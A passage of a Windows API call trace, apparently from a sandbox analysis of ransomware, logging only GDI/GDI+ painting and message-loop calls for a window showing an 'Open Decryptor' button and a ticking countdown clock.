OffsetViewportOrgEx (in: hdc=0x2f01019f, x=0, y=0, lppt=0x303089c | out: lppt=0x303089c) returned 1 [0158.815] GetNearestColor (hdc=0x2f01019f, color=0x3c3f3d) returned 0x3c3f3d [0158.815] CreateSolidBrush (color=0x3c3f3d) returned 0xf10073a [0158.815] FillRect (hDC=0x2f01019f, lprc=0x19e698, hbr=0xf10073a) returned 1 [0158.815] DeleteObject (ho=0xf10073a) returned 1 [0158.816] RestoreDC (hdc=0x2f01019f, nSavedDC=-1) returned 1 [0158.816] GdipReleaseDC (graphics=0x691c530, hdc=0x2f01019f) returned 0x0 [0158.816] GdipGetTextRenderingHint (graphics=0x691c530, mode=0x19e710) returned 0x0 [0158.816] GdipGetDC (graphics=0x691c530, hdc=0x19e6fc) returned 0x0 [0158.816] GetCurrentObject (hdc=0x2f01019f, type=0x1) returned 0xb00017 [0158.816] GetCurrentObject (hdc=0x2f01019f, type=0x2) returned 0x900010 [0158.816] GetCurrentObject (hdc=0x2f01019f, type=0x7) returned 0x8050721 [0158.816] GetCurrentObject (hdc=0x2f01019f, type=0x6) returned 0x8a01c2 [0158.816] SaveDC (hdc=0x2f01019f) returned 1 [0158.816] GetTextAlign (hdc=0x2f01019f) returned 0x0 [0158.816] GetTextColor (hdc=0x2f01019f) returned 0x0 [0158.816] SetTextColor (hdc=0x2f01019f, color=0x6994f5) returned 0x0 [0158.816] GetCurrentObject (hdc=0x2f01019f, type=0x6) returned 0x8a01c2 [0158.816] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e444 | out: pv=0x19e444) returned 92 [0158.816] SelectObject (hdc=0x2f01019f, h=0x110a0722) returned 0x8a01c2 [0158.816] GetBkMode (hdc=0x2f01019f) returned 2 [0158.816] SetBkMode (hdc=0x2f01019f, mode=1) returned 2 [0158.817] DrawTextExW (in: hdc=0x2f01019f, lpchText="Open Decryptor", cchText=14, lprc=0x19e52c, format=0x102415, lpdtp=0x3030b58 | out: lpchText="Open Decryptor", lprc=0x19e52c) returned 60 [0158.817] DrawTextExW (in: hdc=0x2f01019f, lpchText="Open Decryptor", cchText=14, lprc=0x19e690, format=0x102015, lpdtp=0x3030b58 | out: lpchText="Open Decryptor", lprc=0x19e690) returned 60 [0158.817] RestoreDC (hdc=0x2f01019f, nSavedDC=-1) returned 1 [0158.818] GdipReleaseDC (graphics=0x691c530, hdc=0x2f01019f) returned 0x0 [0158.818] GetFocus () returned 0x30212 [0158.818] GetFocus () returned 0x30212 [0158.818] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e794) returned 0x0 [0158.818] GdipDrawRectangleI (graphics=0x691c530, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0158.818] GdipDeletePen (pen=0x6915e78) returned 0x0 [0158.818] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e778) returned 0x0 [0158.818] GdipDrawRectangleI (graphics=0x691c530, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0158.818] GdipDeletePen (pen=0x6915e78) returned 0x0 [0158.818] GdipGetDC (graphics=0x691c530, hdc=0x19e918) returned 0x0 [0158.818] BitBlt (hdc=0x1b010670, x=0, y=0, cx=178, cy=111, hdcSrc=0x2f01019f, x1=0, y1=0, rop=0xcc0020) returned 1 [0158.818] GdipReleaseDC (graphics=0x691c530, hdc=0x2f01019f) returned 0x0 [0158.818] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0158.818] SelectObject (hdc=0x2f01019f, h=0x85000f) returned 0x8050721 [0158.818] DeleteDC (hdc=0x2f01019f) returned 1 [0158.819] GdipDeleteGraphics (graphics=0x691c530) returned 0x0 [0158.819] EndPaint (hWnd=0x30212, lpPaint=0x19e8bc) returned 1 [0158.819] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0158.819] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0158.819] WaitMessage () returned 1 [0159.579] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0159.579] IsWindowUnicode (hWnd=0x50074) returned 1 [0159.579] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0159.579] TranslateMessage (lpMsg=0x19ee78) returned 0 [0159.579] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0159.579] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0159.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0159.579] GetSystemMetrics (nIndex=42) returned 0 [0159.579] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:00") returned 8 [0159.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0159.579] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0159.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0159.579] GetSystemMetrics (nIndex=42) returned 0 [0159.579] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:00") returned 8 [0159.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0159.579] SetWindowTextW (hWnd=0x20236, lpString="06:58:01") returned 1 [0159.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x3030c44) returned 0x1 [0159.580] GetStockObject (i=5) returned 0x900015 [0159.580] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0159.580] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0159.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0159.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0159.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0159.580] GetSystemMetrics (nIndex=42) returned 0 [0159.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:01") returned 8 [0159.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0159.580] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0159.580] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0159.580] SelectObject (hdc=0x8e0106dd, h=0x4f0a0711) returned 0x110a0722 [0159.580] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:01", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x3030e34 | out: lpchText="06:58:01", lprc=0x19e938) returned 50 [0159.581] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0159.581] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0159.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0159.581] GetSystemMetrics (nIndex=42) returned 0 [0159.581] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0159.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0159.581] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0159.581] IsWindowUnicode (hWnd=0x20236) returned 1 [0159.581] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0159.581] TranslateMessage (lpMsg=0x19ee78) returned 0 [0159.581] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0159.581] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0159.581] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0159.581] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x3101019f [0159.582] SelectObject (hdc=0x3101019f, h=0x8050721) returned 0x85000f [0159.582] GdipCreateFromHDC (hdc=0x3101019f, graphics=0x19e8e4) returned 0x0 [0159.582] GdipTranslateWorldTransform (graphics=0x691c530, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0159.582] GdipSetClipRectI (graphics=0x691c530, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0159.582] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0159.582] GdipGetWorldTransform (graphics=0x691c530, matrix=0x691edb8) returned 0x0 [0159.582] GdipIsMatrixIdentity (matrix=0x691edb8, result=0x19e944) returned 0x0 [0159.582] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0159.582] GdipGetMatrixElements (matrix=0x691edb8, matrixOut=0xf75be8) returned 0x0 [0159.582] LocalFree (hMem=0xf75be8) returned 0x0 [0159.582] GdipDeleteMatrix (matrix=0x691edb8) returned 0x0 [0159.582] GdipCreateRegion (region=0x19e92c) returned 0x0 [0159.582] GdipGetClip (graphics=0x691c530, region=0x691c810) returned 0x0 [0159.582] GdipIsInfiniteRegion (region=0x691c810, graphics=0x691c530, result=0x19e938) returned 0x0 [0159.582] GdipSaveGraphics (graphics=0x691c530, state=0x19e964) returned 0x0 [0159.582] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0159.582] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0159.582] GetSystemMetrics (nIndex=42) returned 0 [0159.582] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:01") returned 8 [0159.582] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0159.582] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0159.582] GdipCreateRegion (region=0x19e780) returned 0x0 [0159.582] GdipGetClip (graphics=0x691c530, region=0x691cb00) returned 0x0 [0159.582] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0159.583] GdipGetWorldTransform (graphics=0x691c530, matrix=0x6915f08) returned 0x0 [0159.583] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0159.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0159.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0159.583] LocalFree (hMem=0xf75bb0) returned 0x0 [0159.583] GdipCombineRegionRegion (region=0x691cb00, region2=0x691c810, combineMode=0x1) returned 0x0 [0159.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0159.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0159.583] LocalFree (hMem=0xf75be8) returned 0x0 [0159.583] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0159.583] GdipIsInfiniteRegion (region=0x691cb00, graphics=0x691c530, result=0x19e7c0) returned 0x0 [0159.583] GdipIsInfiniteRegion (region=0x691cb00, graphics=0x691c530, result=0x19e7b0) returned 0x0 [0159.583] GdipGetRegionHRgn (region=0x691cb00, graphics=0x691c530, hRgn=0x19e7b0) returned 0x0 [0159.583] GdipDeleteRegion (region=0x691cb00) returned 0x0 [0159.583] GdipGetDC (graphics=0x691c530, hdc=0x19e7c8) returned 0x0 [0159.583] GetCurrentObject (hdc=0x3101019f, type=0x1) returned 0xb00017 [0159.583] GetCurrentObject (hdc=0x3101019f, type=0x2) returned 0x900010 [0159.583] GetCurrentObject (hdc=0x3101019f, type=0x7) returned 0x8050721 [0159.583] GetCurrentObject (hdc=0x3101019f, type=0x6) returned 0x8a01c2 [0159.583] SaveDC (hdc=0x3101019f) returned 1 [0159.583] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x670406f7 [0159.583] GetClipRgn (hdc=0x3101019f, hrgn=0x670406f7) returned 0 [0159.583] SelectClipRgn (hdc=0x3101019f, hrgn=0xd00406fe) returned 2 [0159.583] DeleteObject (ho=0x670406f7) returned 1 [0159.584] DeleteObject (ho=0xd00406fe) returned 1 [0159.584] OffsetViewportOrgEx (in: hdc=0x3101019f, x=0, y=0, lppt=0x3031204 | out: lppt=0x3031204) returned 1 [0159.584] GetNearestColor (hdc=0x3101019f, color=0x22a3f8) returned 0x22a3f8 [0159.584] CreateSolidBrush (color=0x22a3f8) returned 0x1010073a [0159.584] FillRect (hDC=0x3101019f, lprc=0x19e7cc, hbr=0x1010073a) returned 1 [0159.584] DeleteObject (ho=0x1010073a) returned 1 [0159.584] RestoreDC (hdc=0x3101019f, nSavedDC=-1) returned 1 [0159.584] GdipReleaseDC (graphics=0x691c530, hdc=0x3101019f) returned 0x0 [0159.584] GdipRestoreGraphics (graphics=0x691c530, state=0xfd560dbd) returned 0x0 [0159.584] GdipDeleteRegion (region=0x691c810) returned 0x0 [0159.584] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0159.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0159.584] GetSystemMetrics (nIndex=42) returned 0 [0159.584] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:01") returned 8 [0159.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0159.584] GdipGetDC (graphics=0x691c530, hdc=0x19e7e8) returned 0x0 [0159.584] GetCurrentObject (hdc=0x3101019f, type=0x1) returned 0xb00017 [0159.584] GetCurrentObject (hdc=0x3101019f, type=0x2) returned 0x900010 [0159.584] GetCurrentObject (hdc=0x3101019f, type=0x7) returned 0x8050721 [0159.584] GetCurrentObject (hdc=0x3101019f, type=0x6) returned 0x8a01c2 [0159.584] SaveDC (hdc=0x3101019f) returned 1 [0159.584] GetNearestColor (hdc=0x3101019f, color=0x0) returned 0x0 [0159.584] RestoreDC (hdc=0x3101019f, nSavedDC=-1) returned 1 [0159.585] GdipReleaseDC (graphics=0x691c530, hdc=0x3101019f) returned 0x0 [0159.585] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0159.585] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0159.585] GdipGetTextRenderingHint (graphics=0x691c530, mode=0x19e788) returned 0x0 [0159.585] GdipGetDC (graphics=0x691c530, hdc=0x19e774) returned 0x0 [0159.585] GetCurrentObject (hdc=0x3101019f, type=0x1) returned 0xb00017 [0159.585] GetCurrentObject (hdc=0x3101019f, type=0x2) returned 0x900010 [0159.585] GetCurrentObject (hdc=0x3101019f, type=0x7) returned 0x8050721 [0159.585] GetCurrentObject (hdc=0x3101019f, type=0x6) returned 0x8a01c2 [0159.585] SaveDC (hdc=0x3101019f) returned 1 [0159.585] GetTextAlign (hdc=0x3101019f) returned 0x0 [0159.585] GetTextColor (hdc=0x3101019f) returned 0x0 [0159.585] GetCurrentObject (hdc=0x3101019f, type=0x6) returned 0x8a01c2 [0159.586] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0159.586] SelectObject (hdc=0x3101019f, h=0x4f0a0711) returned 0x8a01c2 [0159.586] GetBkMode (hdc=0x3101019f) returned 2 [0159.586] SetBkMode (hdc=0x3101019f, mode=1) returned 2 [0159.586] DrawTextExW (in: hdc=0x3101019f, lpchText="06:58:01", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3031698 | out: lpchText="06:58:01", lprc=0x19e708) returned 50 [0159.586] RestoreDC (hdc=0x3101019f, nSavedDC=-1) returned 1 [0159.586] GdipReleaseDC (graphics=0x691c530, hdc=0x3101019f) returned 0x0 [0159.586] GdipGetDC (graphics=0x691c530, hdc=0x19e924) returned 0x0 [0159.587] GdipReleaseDC (graphics=0x691c530, hdc=0x3101019f) returned 0x0 [0159.587] GdipDeleteGraphics (graphics=0x691c530) returned 0x0 [0159.587] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0159.587] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0159.587] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0159.587] WaitMessage () returned 1 [0160.579] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0160.579] IsWindowUnicode (hWnd=0x50074) returned 1 [0160.579] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0160.579] TranslateMessage (lpMsg=0x19ee78) returned 0 [0160.579] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0160.579] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0160.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0160.579] GetSystemMetrics (nIndex=42) returned 0 [0160.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:01") returned 8 [0160.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0160.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0160.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0160.580] GetSystemMetrics (nIndex=42) returned 0 [0160.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:01") returned 8 [0160.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0160.580] SetWindowTextW (hWnd=0x20236, lpString="06:58:02") [0160.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x303173c) [0160.580] GetStockObject (i=5) returned 0x900015 [0160.581] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0160.581] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0160.581] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:02", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x303192c | out: lpchText="06:58:02", lprc=0x19e938) returned 50 [0160.581] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0160.581] IsWindowUnicode (hWnd=0x20236) returned 1 [0160.581] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0160.581] TranslateMessage (lpMsg=0x19ee78) returned 0 [0160.581] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0160.582] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0160.582] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0160.582] GdipCreateFromHDC (hdc=0x8010727, graphics=0x19e8e4) returned 0x0 [0160.582] GdipTranslateWorldTransform (graphics=0x691c530, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0160.582] GdipSetClipRectI (graphics=0x691c530, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0160.582] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0160.582] GdipGetWorldTransform (graphics=0x691c530, matrix=0x691edb8) returned 0x0 [0160.582] GdipIsMatrixIdentity (matrix=0x691edb8, result=0x19e944) returned 0x0 [0160.583] GdipGetMatrixElements (matrix=0x691edb8, matrixOut=0xf75be8) returned 0x0 [0160.583] LocalFree (hMem=0xf75be8) returned 0x0 [0160.583] GdipDeleteMatrix (matrix=0x691edb8) returned 0x0 [0160.583] GdipCreateRegion (region=0x19e92c) returned 0x0 [0160.583] GdipGetClip (graphics=0x691c530, region=0x691c810) returned 0x0 [0160.583] GdipIsInfiniteRegion (region=0x691c810, graphics=0x691c530, result=0x19e938) returned 0x0 [0160.583] GdipSaveGraphics (graphics=0x691c530, state=0x19e964) returned 0x0 [0160.583] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0160.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0160.583] GetSystemMetrics (nIndex=42) returned 0 [0160.583] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:02") returned 8 [0160.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0160.583] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0160.583] GdipCreateRegion (region=0x19e780) returned 0x0 [0160.583] GdipGetClip (graphics=0x691c530, region=0x691cb00) returned 0x0 [0160.583] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0160.583] GdipGetWorldTransform (graphics=0x691c530, matrix=0x6915f08) returned 0x0 [0160.583] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0160.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0160.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0160.584] LocalFree (hMem=0xf75c20) returned 0x0 [0160.584] GdipCombineRegionRegion (region=0x691cb00, region2=0x691c810, combineMode=0x1) returned 0x0 [0160.584] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0160.584] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0160.584] LocalFree (hMem=0xf75c20) returned 0x0 [0160.584] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0160.584] GdipIsInfiniteRegion (region=0x691cb00, graphics=0x691c530, result=0x19e7c0) returned 0x0 [0160.584] GdipIsInfiniteRegion (region=0x691cb00, graphics=0x691c530, result=0x19e7b0) returned 0x0 [0160.584] GdipGetRegionHRgn (region=0x691cb00, graphics=0x691c530, hRgn=0x19e7b0) returned 0x0 [0160.584] GdipDeleteRegion (region=0x691cb00) returned 0x0 [0160.584] GdipGetDC (graphics=0x691c530, hdc=0x19e7c8) returned 0x0 [0160.584] GetCurrentObject (hdc=0x8010727, type=0x1) returned 0xb00017 [0160.584] GetCurrentObject (hdc=0x8010727, type=0x2) returned 0x900010 [0160.584] GetCurrentObject (hdc=0x8010727, type=0x7) returned 0x8050721 [0160.584] GetCurrentObject (hdc=0x8010727, type=0x6) returned 0x8a01c2 [0160.584] SaveDC (hdc=0x8010727) returned 1 [0160.584] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xd10406fe [0160.584] GetClipRgn (hdc=0x8010727, hrgn=0xd10406fe) returned 0 [0160.585] SelectClipRgn (hdc=0x8010727, hrgn=0x6a0406f7) returned 2 [0160.585] DeleteObject (ho=0xd10406fe) returned 1 [0160.585] DeleteObject (ho=0x6a0406f7) returned 1 [0160.585] OffsetViewportOrgEx (in: hdc=0x8010727, x=0, y=0, lppt=0x3031cfc | out: lppt=0x3031cfc) returned 1 [0160.585] GetNearestColor (hdc=0x8010727, color=0x22a3f8) returned 0x22a3f8 [0160.585] CreateSolidBrush (color=0x22a3f8) returned 0x1110073a [0160.585] FillRect (hDC=0x8010727, lprc=0x19e7cc, hbr=0x1110073a) returned 1 [0160.585] DeleteObject (ho=0x1110073a) returned 1 [0160.585] RestoreDC (hdc=0x8010727, nSavedDC=-1) returned 1 [0160.585] GdipReleaseDC (graphics=0x691c530, hdc=0x8010727) returned 0x0 [0160.585] GdipRestoreGraphics (graphics=0x691c530, state=0xfd540dbd) returned 0x0 [0160.585] GdipDeleteRegion (region=0x691c810) returned 0x0 [0160.585] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0160.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0160.585] GetSystemMetrics (nIndex=42) returned 0 [0160.585] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:02") returned 8 [0160.586] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0160.586] GdipGetDC (graphics=0x691c530, hdc=0x19e7e8) returned 0x0 [0160.586] GetCurrentObject (hdc=0x8010727, type=0x1) returned 0xb00017 [0160.586] GetCurrentObject (hdc=0x8010727, type=0x2) returned 0x900010 [0160.586] GetCurrentObject (hdc=0x8010727, type=0x7) returned 0x8050721 [0160.586] GetCurrentObject (hdc=0x8010727, type=0x6) returned 0x8a01c2 [0160.586] SaveDC (hdc=0x8010727) returned 1 [0160.586] GetNearestColor (hdc=0x8010727, color=0x0) returned 0x0 [0160.586] RestoreDC (hdc=0x8010727, nSavedDC=-1) returned 1 [0160.586] GdipReleaseDC (graphics=0x691c530, hdc=0x8010727) returned 0x0 [0160.587] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0160.587] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0160.587] GdipGetTextRenderingHint (graphics=0x691c530, mode=0x19e788) returned 0x0 [0160.587] GdipGetDC (graphics=0x691c530, hdc=0x19e774) returned 0x0 [0160.587] GetCurrentObject (hdc=0x8010727, type=0x1) returned 0xb00017 [0160.587] GetCurrentObject (hdc=0x8010727, type=0x2) returned 0x900010 [0160.587] GetCurrentObject (hdc=0x8010727, type=0x7) returned 0x8050721 [0160.587] GetCurrentObject (hdc=0x8010727, type=0x6) returned 0x8a01c2 [0160.588] SaveDC (hdc=0x8010727) returned 1 [0160.588] GetTextAlign (hdc=0x8010727) returned 0x0 [0160.588] GetTextColor (hdc=0x8010727) returned 0x0 [0160.588] GetCurrentObject (hdc=0x8010727, type=0x6) returned 0x8a01c2 [0160.588] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0160.588] SelectObject (hdc=0x8010727, h=0x4f0a0711) returned 0x8a01c2 [0160.588] GetBkMode (hdc=0x8010727) returned 2 [0160.588] SetBkMode (hdc=0x8010727, mode=1) returned 2 [0160.589] DrawTextExW (in: hdc=0x8010727, lpchText="06:58:02", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3032190 | out: lpchText="06:58:02", lprc=0x19e708) returned 50 [0160.589] RestoreDC (hdc=0x8010727, nSavedDC=-1) returned 1 [0160.589] GdipReleaseDC (graphics=0x691c530, hdc=0x8010727) returned 0x0 [0160.589] GdipGetDC (graphics=0x691c530, hdc=0x19e924) returned 0x0 [0160.590] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=154, cy=50, hdcSrc=0x8010727, x1=0, y1=0, rop=0xcc0020) returned 1 [0160.590] GdipReleaseDC (graphics=0x691c530, hdc=0x8010727) returned 0x0 [0160.590] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0160.590] SelectObject (hdc=0x8010727, h=0x85000f) returned 0x8050721 [0160.590] DeleteDC (hdc=0x8010727) returned 1 [0160.590] GdipDeleteGraphics (graphics=0x691c530) returned 0x0 [0160.590] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0160.591] PeekMessageW (in: 